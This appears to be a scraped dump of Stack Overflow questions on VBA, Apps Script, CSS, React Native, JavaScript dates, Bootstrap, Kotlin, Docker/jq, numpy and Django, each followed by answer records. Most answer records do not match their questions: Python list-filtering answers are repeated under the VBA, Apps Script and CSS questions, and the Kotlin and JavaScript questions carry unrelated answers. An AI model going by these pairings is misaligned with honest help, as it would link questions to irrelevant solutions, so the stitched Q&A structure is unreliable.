<p>Using the table above say for example my boardtype = AX-6 and my subsysnum = WD1234TEST I want the macro to get the row index of 9 since subsysnum = WD1234 is contained in the subsysnum number WD1234TEST. If subsysnum = WD298588 trial, then the row index return should be 8 since it is contained in the value. Finally, if subsysnum value cannot be found in column 2, then it should return a row index of 7 for AX-6 with the blank cell next to it.</p>
<p>This is what I have tried so far, however, I am not getting any value for <code>GetClock</code></p>
<pre><code>Function GetClock(boardtype As String, subsysnum As String, column As Long, Optional partialFirst As Boolean = False) As Variant
Dim wbSrc As Workbook, ws As Worksheet, r1 As Range, r2 As Range, board_range As Range, firstAddress As String
FunctionName = "GetClock"
Set wbSrc = Workbooks.Open("C:\Documents\LookupTable.xlsx")
Set ws = wbSrc.Worksheets("Clock")
Set r1 = ws.Columns(1)
Set r2 = ws.Columns(2)
With r1
Set board_range = r1.Find(What:=boardtype, LookAt:=xlWhole, LookIn:=xlFormulas, MatchCase:=True) ' find board type row
If Not board_range Is Nothing Then
firstAddress = board_range.Address ' save board type address
Else
ErrorMsg = ErrorMsg & IIf(ErrorMsg = "", "", "") & SectionName & ": " & "Board " & boardtype & " could not be found in lookup table" & vbNewLine
Exit Function
End If
Do While Not board_range Is Nothing
Set subsysnum_range = r2.Find(What:=subsysnum, LookIn:=xlFormulas, LookAt:=IIf(partialFirst, xlPart, xlWhole), MatchCase:=True)
GetClock = ws.cells(board_range.row, column).value
Exit Function
Set board_range = r1.Find(boardtype, board_range)
If board_range.Address = firstAddress Then
GetClock = ws.cells(Range(firstAddress).row, column).value
If GetClock = 0 Then
ErrorMsg = ErrorMsg & IIf(ErrorMsg = "", "", "") & SectionName & ": " & "lookup table missing value" & vbNewLine
End If
Exit Function
End If
Loop
End With
End Function
</code></pre>
<p><a href="https://i.stack.imgur.com/BRjrP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BRjrP.png" alt="enter image description here" /></a></p>
<p>UPDATE: Where <code>Column(13)</code> represents the column in the <code>Data Sheet</code> that has the <code>subsysnum</code> stored</p>
<pre><code>Function GetClock(boardtype As String, subsysnum As String, column As Long, Optional partialFirst As Boolean = False) As Double
Dim wbSrc As Workbook, ws As Worksheet, r1 As Range, r2 As Range, board_range As Range, firstAddress As String, subsysnum_range As Range, rng_board As Range, rng_subsys As Range
FunctionName = "GetExternalClock"
Set wbSrc = Workbooks.Open("C:\Documents\LookupTable.xlsx")
Set ws = wbSrc.Worksheets("Clock")
Dim wb As Workbook, dataws As Worksheet
Set wb = Workbooks("S93.xlsm")
Set dataws = wb.Worksheets("Data Sheet")
Set r1 = ws.Columns(1)
Set r2 = ws.Columns(2)
With r1
Set board_range = r1.Find(What:=boardtype, LookAt:=xlWhole, LookIn:=xlFormulas, MatchCase:=True) ' find board type row
If Not board_range Is Nothing Then
firstAddress = board_range.Address ' save board type address
Else
ErrorMsg = ErrorMsg & IIf(ErrorMsg = "", "", "") & SectionName & ": " & "Board " & boardtype & " could not be found in lookup table" & vbNewLine
Exit Function
End If
Dim subsys As Range, cell As String
Do While Not board_range Is Nothing ' while board type is not nothing look for value of cell in column 2
For Each subsys In Range("B3:B12")
cell = subsys.value
Set subsys_rng = dataws.Columns(13).Find(What:=cell, LookIn:=xlFormulas, LookAt:=IIf(partialFirst, xlPart, xlWhole), MatchCase:=True)
If cell = "" Then
GoTo Skip
Else
GetClock= ws.cells(subsys_rng.row, column).value
End If
Skip:
Next subsys
Exit Function
'if intersect.value does not equal sysnum, then it will set board_range below only after it has checked every matching cell in column 1
Set board_range = r1.Find(boardtype, board_range)
If board_range.Address = firstAddress Then
GetClock= ws.cells(Range(firstAddress).row, column).value ' boardtype row index with empty cell in r2
If GetClock= 0 Then
ErrorMsg = ErrorMsg & IIf(ErrorMsg = "", "", "") & SectionName & ": " & "lookup table missing value" & vbNewLine
End If
Exit Function
End If
Loop
End With
Exit Function
End Function
</code></pre>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Board</th>
<th>Subsystem</th>
<th>Min</th>
<th>Max</th>
<th>Min</th>
<th>Max</th>
</tr>
</thead>
<tbody>
<tr>
<td>AX</td>
<td></td>
<td>10</td>
<td>40</td>
<td>10</td>
<td>400</td>
</tr>
<tr>
<td>AX-11</td>
<td></td>
<td>10</td>
<td>400</td>
<td>10</td>
<td>400</td>
</tr>
<tr>
<td>AX-12</td>
<td></td>
<td>100</td>
<td>750</td>
<td>100</td>
<td>750</td>
</tr>
<tr>
<td>AX-13</td>
<td></td>
<td>10</td>
<td>550</td>
<td>10</td>
<td>550</td>
</tr>
<tr>
<td>AX-4</td>
<td></td>
<td>10</td>
<td>400</td>
<td>10</td>
<td>400</td>
</tr>
<tr>
<td>AX-6</td>
<td></td>
<td>125</td>
<td>550</td>
<td>125</td>
<td>550</td>
</tr>
<tr>
<td>AX-6</td>
<td>WD298588</td>
<td>40</td>
<td>500</td>
<td>40</td>
<td>500</td>
</tr>
<tr>
<td>AX-6</td>
<td>WD1234</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
</tr>
<tr>
<td>AX-7</td>
<td></td>
<td>125</td>
<td>750</td>
<td>125</td>
<td>750</td>
</tr>
<tr>
<td>AX-8</td>
<td></td>
<td>125</td>
<td>550</td>
<td>125</td>
<td>550</td>
</tr>
</tbody>
</table>
</div>
|
[
{
"answer_id": 74465831,
"author": "Jamie.Sgro",
"author_id": 11550733,
"author_profile": "https://Stackoverflow.com/users/11550733",
"pm_score": 2,
"selected": false,
"text": "a = [1,2,'a','b']\nb = [x for x in a if not isinstance(x, str)]\nprint(b) # [1, 2]\n"
},
{
"answer_id": 74465833,
"author": "I'mahdi",
"author_id": 1740577,
"author_profile": "https://Stackoverflow.com/users/1740577",
"pm_score": 3,
"selected": true,
"text": "list"
},
{
"answer_id": 74465841,
"author": "Thales",
"author_id": 20401787,
"author_profile": "https://Stackoverflow.com/users/20401787",
"pm_score": 0,
"selected": false,
"text": "def filter_list(l)\nfor f in l:\n if type(f) == str:\n l.remove(f)\nreturn l\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465802",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20114520/"
] |
74,465,822
|
<p>So I have a script that is designed to search through specific folders in google drive for files with specific dates and get their respective FileId. The problem is lately this script has been confusing files that have the same numbers in the date, for instance it will confuse 11/2/2022 with 2/11/2022 and thus give me 2/11/2022 file's id. How can I ensure that the search iterator pulls the file with the exact date specified? Thanks for any and all help.</p>
<pre><code>function Builder() {
let sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Master");
let indexsheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Index");
indexsheet.getRange(3, 3, 8).clearContent();
for(let i = 0; i<8; i++){
let cell = indexsheet.getRange(i+3, 2).getValue();
let cellfolder = indexsheet.getRange(i+3, 4).getValue();
let final = Utilities.formatDate(cell, "GMT", "MM-dd-yy"); //get the date in the right format
let finalx = Utilities.formatDate(cell, "GMT", "MM-dd-yyyy"); //get the date in the right form
let finalxyear = Utilities.formatDate(cell, "GMT", "yyyy"); //get the year in the right format
let filesource = DriveApp.searchFiles("title contains '" +final+ "' and parents in '" + cellfolder+ "'");
let filesourcex = DriveApp.searchFiles("title contains '" +finalx+ "' and parents in '" + cellfolder+ "'");
if(filesource.hasNext() === true){
while(filesource.hasNext()){
var File = filesource.next();
var ID = File.getId();
}
File.setSharing(DriveApp.Access.ANYONE_WITH_LINK, DriveApp.Permission.VIEW);
indexsheet.getRange(i+3, 3).setValue(ID);
}
else
{{if(filesourcex.hasNext() === true){
while(filesourcex.hasNext()){
var File = filesourcex.next();
var ID = File.getId();
}
File.setSharing(DriveApp.Access.ANYONE_WITH_LINK, DriveApp.Permission.VIEW);
indexsheet.getRange(i+3, 3).setValue(ID);
}
}
}
}
}
</code></pre>
|
[
{
"answer_id": 74465831,
"author": "Jamie.Sgro",
"author_id": 11550733,
"author_profile": "https://Stackoverflow.com/users/11550733",
"pm_score": 2,
"selected": false,
"text": "a = [1,2,'a','b']\nb = [x for x in a if not isinstance(x, str)]\nprint(b) # [1, 2]\n"
},
{
"answer_id": 74465833,
"author": "I'mahdi",
"author_id": 1740577,
"author_profile": "https://Stackoverflow.com/users/1740577",
"pm_score": 3,
"selected": true,
"text": "list"
},
{
"answer_id": 74465841,
"author": "Thales",
"author_id": 20401787,
"author_profile": "https://Stackoverflow.com/users/20401787",
"pm_score": 0,
"selected": false,
"text": "def filter_list(l)\nfor f in l:\n if type(f) == str:\n l.remove(f)\nreturn l\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465822",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12286771/"
] |
74,465,862
|
<p>How can I combine queries like this so I dont repeat css code? Every query works on its own but not together.</p>
<p>I want media to be used as fallback if container queries dont work. I know media is applied to whole page width, while container queries only to element width.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>.card-container {
container-type: inline-size;
container-name: mvp_dialog_data;
}
@container mvp_dialog_data (max-width: 1250px),
@media (max-width: 1250px) {
.links {
display: none;
}
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="card-container">
<div class="card">
<div class="meta">
<span class="time">5:30</span>
</div>
<div class="notes">
<div class="links">Lorem ipsum dolor sit amet, consectetur adipiscing elit. </div>
</div>
</div>
</div>
</div></code></pre>
</div>
</div>
</p>
|
[
{
"answer_id": 74465831,
"author": "Jamie.Sgro",
"author_id": 11550733,
"author_profile": "https://Stackoverflow.com/users/11550733",
"pm_score": 2,
"selected": false,
"text": "a = [1,2,'a','b']\nb = [x for x in a if not isinstance(x, str)]\nprint(b) # [1, 2]\n"
},
{
"answer_id": 74465833,
"author": "I'mahdi",
"author_id": 1740577,
"author_profile": "https://Stackoverflow.com/users/1740577",
"pm_score": 3,
"selected": true,
"text": "list"
},
{
"answer_id": 74465841,
"author": "Thales",
"author_id": 20401787,
"author_profile": "https://Stackoverflow.com/users/20401787",
"pm_score": 0,
"selected": false,
"text": "def filter_list(l)\nfor f in l:\n if type(f) == str:\n l.remove(f)\nreturn l\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465862",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1009466/"
] |
74,465,878
|
<p>I have this walker that’s spawn some nodes which works fine locally. On the server it’s running and reporting fine but the nodes are not there.</p>
<p>[<a href="https://i.stack.imgur.com/o5zTi.png" rel="nofollow noreferrer">server</a>]
[<a href="https://i.stack.imgur.com/CGVnA.png" rel="nofollow noreferrer">locally</a>]</p>
<p>What I did</p>
<p>Jsserv makemigrations base
Jsserv migrate
Jsserv runserver 0.0.0.0:8000</p>
<p>login <a href="http://0.0.0.0:8000/" rel="nofollow noreferrer">http://0.0.0.0:8000/</a></p>
<p>graph delete active:graph
jac build main.jac
graph create -set_active true
sentinel register -set_active true -mode ir main.jir</p>
<p>walker run init</p>
<p>Then i ran the walker that spawn the nodes</p>
<p><a href="https://i.stack.imgur.com/HUBRr.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HUBRr.png" alt="enter image description here" /></a></p>
<p><a href="https://i.stack.imgur.com/wiBfM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wiBfM.png" alt="enter image description here" /></a></p>
<p><a href="https://i.stack.imgur.com/WJwlw.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WJwlw.png" alt="enter image description here" /></a></p>
|
[
{
"answer_id": 74465831,
"author": "Jamie.Sgro",
"author_id": 11550733,
"author_profile": "https://Stackoverflow.com/users/11550733",
"pm_score": 2,
"selected": false,
"text": "a = [1,2,'a','b']\nb = [x for x in a if not isinstance(x, str)]\nprint(b) # [1, 2]\n"
},
{
"answer_id": 74465833,
"author": "I'mahdi",
"author_id": 1740577,
"author_profile": "https://Stackoverflow.com/users/1740577",
"pm_score": 3,
"selected": true,
"text": "list"
},
{
"answer_id": 74465841,
"author": "Thales",
"author_id": 20401787,
"author_profile": "https://Stackoverflow.com/users/20401787",
"pm_score": 0,
"selected": false,
"text": "def filter_list(l)\nfor f in l:\n if type(f) == str:\n l.remove(f)\nreturn l\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465878",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523166/"
] |
74,465,890
|
<p>My React Native App crashes after update target Sdk version and compileSdkVersion 31. It was working version 30. Google play forced us this update. The app crashes on Android 12 version devices. It works on android 10 or 11.</p>
<p>My package.json file:</p>
<pre><code>{
"name": "app",
"version": "0.0.1",
"private": true,
"scripts": {
"android": "react-native run-android",
"ios": "react-native run-ios",
"build:ios": "react-native bundle --entry-file='index.js' --bundle-output='./ios/main.jsbundle' --dev=false --platform='ios'",
"start": "react-native start",
"test": "jest",
"lint": "eslint ."
},
"dependencies": {
"@notifee/react-native": "^0.12.2",
"@react-native-community/async-storage": "^1.9.0",
"@react-native-community/checkbox": "^0.5.7",
"@react-native-community/datetimepicker": "^3.0.3",
"@react-native-community/masked-view": "^0.1.9",
"@react-native-community/netinfo": "^9.3.6",
"@react-native-community/picker": "^1.5.1",
"@react-native-community/progress-bar-android": "^1.0.3",
"@react-native-community/progress-view": "^1.2.1",
"@react-native-community/push-notification-ios": "^1.4.1",
"@react-native-firebase/app": "^8.4.1",
"@react-native-firebase/messaging": "7.8.4",
"axios": "^0.21.1",
"date-fns": "^2.28.0",
"moment": "^2.24.0",
"react": "16.13.1",
"react-native": "^0.64.4",
"react-native-animated-pagination-dots": "^0.1.72",
"react-native-autoheight-webview": "^1.6.1",
"react-native-calendars": "^1.1263.0",
"react-native-countdown-circle-timer": "^2.3.7",
"react-native-directory-picker": "^0.0.2",
"react-native-document-picker": "^5.0.0",
"react-native-elements": "^2.1.0",
"react-native-gesture-handler": "^1.6.1",
"react-native-gifted-chat": "^0.16.3",
"react-native-image-picker": "3.2.1",
"react-native-immersive-bars": "^1.0.1",
"react-native-keyboard-aware-scroll-view": "^0.9.1",
"react-native-month-year-picker": "^1.3.4",
"react-native-paper": "^4.9.2",
"react-native-pdf": "^6.2.2",
"react-native-push-notification": "^5.1.0",
"react-native-reanimated": "2.1.0",
"react-native-redash": "^14.2.3",
"react-native-safe-area-context": "^0.7.3",
"react-native-screens": "^2.5.0",
"react-native-splash-screen": "^3.2.0",
"react-native-svg": "^12.1.0",
"react-native-svg-transformer": "^0.14.3",
"react-native-swipe-list-view": "^3.2.3",
"react-native-vector-icons": "^9.0.0",
"react-native-video": "^4.4.5",
"react-native-webview": "^11.23.1",
"react-navigation": "^4.1.0",
"react-navigation-drawer": "^2.3.4",
"react-navigation-stack": "^2.0.16",
"react-navigation-tabs": "^2.5.6",
"react-redux": "^7.1.3",
"redux": "^4.0.4",
"redux-thunk": "^2.3.0",
"rn-fetch-blob": "^0.12.0"
},
"devDependencies": {
"@babel/core": "^7.11.1",
"@babel/runtime": "^7.11.2",
"@react-native-community/eslint-config": "^2.0.0",
"babel-jest": "^26.2.2",
"eslint": "^7.6.0",
"jest": "^26.2.2",
"metro-react-native-babel-preset": "^0.61.0",
"react-test-renderer": "16.13.1"
},
"jest": {
"preset": "react-native"
}
}
</code></pre>
<p>build.gradle:</p>
<pre><code>// Top-level build file where you can add configuration options common to all sub-projects/modules.
buildscript {
ext {
buildToolsVersion = "30.0.2"
minSdkVersion = 21
compileSdkVersion = 31
targetSdkVersion = 31
ndkVersion = "23.1.7779620"
androidXAnnotation = "1.1.0"
androidXBrowser = "1.0.0"
androidXCore = "1.0.2"
firebaseMessagingVersion = "21.1.0"
}
repositories {
google()
jcenter()
}
dependencies {
classpath("com.android.tools.build:gradle:3.5.4")
classpath 'com.google.gms:google-services:4.3.3'
// NOTE: Do not place your application dependencies here; they belong
// in the individual module build.gradle files
}
}
allprojects {
repositories {
mavenLocal()
maven {
// All of React Native (JS, Obj-C sources, Android binaries) is installed from npm
url("$rootDir/../node_modules/react-native/android")
}
maven {
// Android JSC is installed from npm
url("$rootDir/../node_modules/jsc-android/dist")
}
google()
jcenter()
maven { url 'https://www.jitpack.io' }
}
}
</code></pre>
|
[
{
"answer_id": 74549190,
"author": "Mohammad Goldast",
"author_id": 5040101,
"author_profile": "https://Stackoverflow.com/users/5040101",
"pm_score": 0,
"selected": false,
"text": "buildscript {\next {\n buildToolsVersion = \"31.0.0\"\n minSdkVersion = 21\n compileSdkVersion = 31\n targetSdkVersion = 31\n}\n"
},
{
"answer_id": 74564608,
"author": "Daniel",
"author_id": 20444294,
"author_profile": "https://Stackoverflow.com/users/20444294",
"pm_score": 2,
"selected": true,
"text": "dependencies {\n // ...\n implementation 'androidx.work:work-runtime:2.7.1'\n}\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465890",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13446730/"
] |
74,465,899
|
<p>Let say I have a date range that has a specified start and end date. I want to loop through each day, and each loop I will add the date to an empty object(2) and once the length of object(2) has reach a specific length I want to push obj(2) to the main object(1) and continue with the loop.</p>
<pre><code>var startDate = new Date('Tue Oct 18 2022 00:00:00 GMT+0800');
var endDate = new Date('Tue Nov 16 2022 00:00:00 GMT+0800');
var week = [] (object(2))
var weekObj= [] (object(1))
</code></pre>
<p>So what I did was this,</p>
<pre><code>for(var d = startDate; d <= endDate; d.setDate(d.getDate() + 1)) {
if(week.length === 7) {
weekObj.push(week)
} else {
function removeTime(date) {
return new Date(
date.getFullYear(),
date.getMonth(),
date.getDate()
)
}
let date = removeTime(d)
week.push(date)
}
}
console.log(week)
console.log(week.length)
</code></pre>
<p>I was expecting a result like this</p>
<pre><code>[
[
"2022-10-18T16:00:00.000Z",
"2022-10-19T16:00:00.000Z",
"2022-10-20T16:00:00.000Z",
"2022-10-21T16:00:00.000Z",
"2022-10-22T16:00:00.000Z",
"2022-10-23T16:00:00.000Z",
"2022-10-24T16:00:00.000Z"
],
[
"2022-10-25T16:00:00.000Z",
"2022-10-26T16:00:00.000Z",
"2022-10-27T16:00:00.000Z",
"2022-10-28T16:00:00.000Z",
"2022-10-29T16:00:00.000Z",
"2022-10-30T16:00:00.000Z",
"2022-10-31T16:00:00.000Z"
]
.... an so on , until it finishes the loop
</code></pre>
<p>But instead it, the loop is already breaking after giving the first seven days.</p>
|
[
{
"answer_id": 74549190,
"author": "Mohammad Goldast",
"author_id": 5040101,
"author_profile": "https://Stackoverflow.com/users/5040101",
"pm_score": 0,
"selected": false,
"text": "buildscript {\next {\n buildToolsVersion = \"31.0.0\"\n minSdkVersion = 21\n compileSdkVersion = 31\n targetSdkVersion = 31\n}\n"
},
{
"answer_id": 74564608,
"author": "Daniel",
"author_id": 20444294,
"author_profile": "https://Stackoverflow.com/users/20444294",
"pm_score": 2,
"selected": true,
"text": "dependencies {\n // ...\n implementation 'androidx.work:work-runtime:2.7.1'\n}\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465899",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13594821/"
] |
74,465,904
|
<p>I have this problem, it seems silly but I can't find the solution.</p>
<p>In short I want to simulate something like this:</p>
<p><a href="https://i.stack.imgur.com/JP7ED.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/JP7ED.png" alt="enter image description here" /></a></p>
<p>I have a boostrap card to which I want to put a floating image above so that the effect looks like in the image,</p>
<p>However when I try to do it I have the following:</p>
<p><a href="https://i.stack.imgur.com/qfJdG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qfJdG.png" alt="enter image description here" /></a></p>
<p>and if we drag the mouse over the image:</p>
<p><a href="https://i.stack.imgur.com/PUJ3M.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PUJ3M.png" alt="enter image description here" /></a></p>
<p>what happens?</p>
<p>CSS CODE:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>body {
background-color: aqua;
}
.div-img-up {
height: 150px;
position: relative;
top: -100px;
filter: drop-shadow(0 1px 4px rgba(0, 0, 0, 0.25));
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><html>
<head>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">
</head>
<body>
<div class="container mt-4 mb-4">
<div class="row row-cols-auto">
<div class="col"></div>
<div class="col">
<div class="text-center card shadow-sm mb-3 mt-4 rounded-lg">
<div class="card-body">
<img class="div-img-up" src="https://cdn-icons-png.flaticon.com/512/0/614.png"> <br>
<small>TITLE HERE</small><br>
<small>Another information...</small>
</div>
</div>
</div>
<div class="col"></div>
</div>
</div>
</body>
<html></code></pre>
</div>
</div>
</p>
|
[
{
"answer_id": 74465998,
"author": "Емил Цоков",
"author_id": 4264994,
"author_profile": "https://Stackoverflow.com/users/4264994",
"pm_score": 1,
"selected": false,
"text": "body {\n background-color: aqua;\n }\n .card-body {\n position: relative;\n padding-top: 80px;\n}\n \n .div-img-up {\n height: 80px;\n position: absolute;\n top: -40px;\n left: 40px;\n display: block;\n filter: drop-shadow(0 1px 4px rgba(0, 0, 0, 0.25));\n }"
},
{
"answer_id": 74466005,
"author": "Adam",
"author_id": 12571484,
"author_profile": "https://Stackoverflow.com/users/12571484",
"pm_score": 2,
"selected": false,
"text": "position:absolute"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465904",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11513437/"
] |
74,465,946
|
<p>I have learned the java basics and am now trying to make an android app for my phone. I was doing fine up until I started using variables in android studio. Im fairly sure variables are meant to be declared like</p>
<pre><code>var/val varName:Boolean false;
</code></pre>
<p>But whenever I do this I get an error saying "Cannot resolve symbol var".</p>
<p>I have researched but I cannot find any reason this is happening and no matter where I put this line of code it does not work. Everywhere I found online seems to say I'm doing it right but it doesn't work.
I would love any adviceor how to make it work.
Thanks</p>
|
[
{
"answer_id": 74466012,
"author": "JustSightseeing",
"author_id": 15749574,
"author_profile": "https://Stackoverflow.com/users/15749574",
"pm_score": 1,
"selected": true,
"text": "val a: Int = 1 // this is a VALUE, you cannot change the value of \"val\"\nval b = 2 // this is also a value\nvar c = 2 // this is a variable, you can change the value of c\nc = 5 // like I did here\n\nvar name: Boolean = false // and that's what I think you've tried to do\n"
},
{
"answer_id": 74466018,
"author": "Mark McClelland",
"author_id": 315702,
"author_profile": "https://Stackoverflow.com/users/315702",
"pm_score": 1,
"selected": false,
"text": "type variableName = value;"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465946",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523271/"
] |
74,465,958
|
<p>Assume that I've a complex json file that is used to configurate my project.</p>
<p>Like the json below:</p>
<pre class="lang-json prettyprint-override"><code>{
"apis": {
"payment": {
"base_url": "https://example.com/"
},
"order": {
"base_url": "https://example.com/"
},
},
"features": {
"authentication": {
"authProviders": true,
"registration": false
}
},
"availableLocales": [
"en",
"es"
]
}
</code></pre>
<p>With .Net there's a feature that allows us to override the values based on environment variables.</p>
<p>If I wanted to override the value of apis.payment.base_url I could pass an environment variable: <strong>APIS__PAYMENT__BASE_URL</strong> and the value would be replaced.</p>
<p>Since I'm currently not using .Net is there any alternatives?
This is what I'm using right now, but this does not fit my needs</p>
<pre><code>FROM code as prepare-build
ENV JQ_VERSION=1.6
RUN wget --no-check-certificate \
https://github.com/stedolan/jq/releases/download/jq-${JQ_VERSION}/jq-linux64 \
-O /tmp/jq-linux64
RUN cp /tmp/jq-linux64 /usr/bin/jq
RUN chmod +x /usr/bin/jq
WORKDIR /code/public
RUN jq 'reduce path(recurse | scalars) as $p (.;setpath($p; "$" + ($p | join("_"))))' \
./configurations/settings.json > ./configurations/settings.temp.json && \
yez | cp ./configurations/settings.temp.json ./configurations/settings.json
WORKDIR /code/deploy
RUN echo "#!/usr/bin/env sh" | tee -a /code/deploy/start.sh > /dev/null && \
echo 'export EXISTING_VARS=$(printenv | awk -F= '\''{print $1}'\'' | sed '\''s/^/\$/g'\'' | paste -sd,);' | tee -a /code/deploy/start.sh > /dev/null && \
echo 'for file in $CONFIGURATIONS_FOLDER;' | tee -a /code/deploy/start.sh > /dev/null && \
echo 'do' | tee -a /code/deploy/start.sh > /dev/null && \
echo ' cat $file | envsubst $EXISTING_VARS | tee $file' | tee -a /code/deploy/start.sh > /dev/null && \
echo 'done' | tee -a /code/deploy/start.sh > /dev/null && \
echo 'nginx -g '\''daemon off;'\''' | tee -a /code/deploy/start.sh > /dev/null
WORKDIR /code
</code></pre>
<p>This was I have a problem that, I need to pass all the json paths as environment variables, to override it correctly. If not, the variables will be replaced with the path of it, only.</p>
<p>I think the best approach would be:</p>
<p>Read the environment variables and create a json file with their values, then override the existing json file with the values of the created one.</p>
<p>Does anyone have any thing that could help me achieve this?</p>
<p>To summarize.</p>
<p>In order to make easy to identify which environment variables I should use, let's assume it will have a prefix of <strong>SETTINGS</strong>.
Example of how I would override values.</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th><strong>JSON PATH</strong></th>
<th><strong>EQUIVALENT ENVIRONMENT VARIABLE</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>APIS.PAYMENT.BASE_URL</td>
<td>SETTINGS__APIS__PAYMENT__BASE_URL</td>
</tr>
<tr>
<td>AVAILABLELOCALES[0]</td>
<td>SETTINGS__AVAILABLELOCALES__0</td>
</tr>
</tbody>
</table>
</div>
|
[
{
"answer_id": 74466012,
"author": "JustSightseeing",
"author_id": 15749574,
"author_profile": "https://Stackoverflow.com/users/15749574",
"pm_score": 1,
"selected": true,
"text": "val a: Int = 1 // this is a VALUE, you cannot change the value of \"val\"\nval b = 2 // this is also a value\nvar c = 2 // this is a variable, you can change the value of c\nc = 5 // like I did here\n\nvar name: Boolean = false // and that's what I think you've tried to do\n"
},
{
"answer_id": 74466018,
"author": "Mark McClelland",
"author_id": 315702,
"author_profile": "https://Stackoverflow.com/users/315702",
"pm_score": 1,
"selected": false,
"text": "type variableName = value;"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465958",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9114389/"
] |
74,466,039
|
<p>Array 1 is called 'students', with 'Alex', 'Rich', 'Anthony', 'Len', 'Mark' as values. Array 2 is called 'grades' with [85, 44], [63, 19], [47, 95], [30, 67], [33, 16] as values.</p>
<p>I need to select all rows from 'grades' where 'students' is either 'Alex' or 'Mark'</p>
<p>Do I need to combine the arrays? I am new to python and struggling to figure out how to index this correctly.</p>
<p>so far I have created the two arrays and have tried concatenating them together, but when I then try to index off the concatenated array I get errors</p>
<pre><code>students = np.array(['Alex', 'Rich', 'Anthony', 'Len', 'Mark'])
grades = np.array([[85, 44], [63, 19], [47, 95], [30, 67], [33, 16]])
studentgrades = np.concatenate((students, grades), axis=1)`
studentgrades['Alex']
</code></pre>
|
[
{
"answer_id": 74466012,
"author": "JustSightseeing",
"author_id": 15749574,
"author_profile": "https://Stackoverflow.com/users/15749574",
"pm_score": 1,
"selected": true,
"text": "val a: Int = 1 // this is a VALUE, you cannot change the value of \"val\"\nval b = 2 // this is also a value\nvar c = 2 // this is a variable, you can change the value of c\nc = 5 // like I did here\n\nvar name: Boolean = false // and that's what I think you've tried to do\n"
},
{
"answer_id": 74466018,
"author": "Mark McClelland",
"author_id": 315702,
"author_profile": "https://Stackoverflow.com/users/315702",
"pm_score": 1,
"selected": false,
"text": "type variableName = value;"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466039",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20297021/"
] |
74,466,074
|
<p>I try to develop a simple input form to save a deposit for a fishing vessel. The vessel and the net are tables in the database. There is no error when the form is submitted but there is nothing happening in the background. I use a PostgreSQL database with PgAdmin for insights.I am a little bit stuck since it's my first time working with Django.</p>
<p>I tried adding the dep_id field into the form but it did not change anything.</p>
<p>[forms.py]</p>
<pre class="lang-py prettyprint-override"><code>from django import forms
from django.forms import ModelForm
from myapp.models import Deposit
class UploadForm(ModelForm):
dep_date = forms.DateField()
harbour = forms.CharField()
vessel = forms.ModelChoiceField(queryset=Vessel.objects.all())
net = forms.ModelChoiceField(queryset=Net.objects.all())
amount = forms.DecimalField()
class Meta:
model = Deposit
fields = ['dep_date', 'harbour',
'vessel', 'net',
'amount']
</code></pre>
<p>[models.py]</p>
<pre class="lang-py prettyprint-override"><code>from django.db import models
class Vessel(models.Model):
VID = models.IntegerField(primary_key=True, default=None)
vessel_name = models.CharField(max_length=100)
flag = models.CharField(max_length=100)
registration_number = models.CharField(max_length=100)
WIN = models.CharField(max_length=100)
IRCS = models.CharField(max_length=100)
vessel_type = models.CharField(max_length=250)
fishing_methods = models.CharField(max_length=255)
length = models.DecimalField(default=0, max_digits=5, decimal_places=2)
auth_period_from = models.CharField(max_length=100)
auth_period_to = models.CharField(max_length=100)
class Net(models.Model):
net_id = models.IntegerField(primary_key=True, default = None)
prod_date = models.DateField()
weight = models.DecimalField(default=0, max_digits=6, decimal_places=2)
material = models.CharField(max_length=100)
fishing_type = models.CharField(max_length=100, default=None)
class Deposit(models.Model):
dep_id = models.BigAutoField(primary_key=True, default=None)
dep_date = models.DateField()
harbour = models.CharField(max_length=100)
vessel = models.ForeignKey(Vessel, to_field='VID', on_delete=models.CASCADE)
net = models.ForeignKey(Net, to_field='net_id', on_delete=models.CASCADE)
amount = models.DecimalField(default=0, max_digits=5, decimal_places=2)
</code></pre>
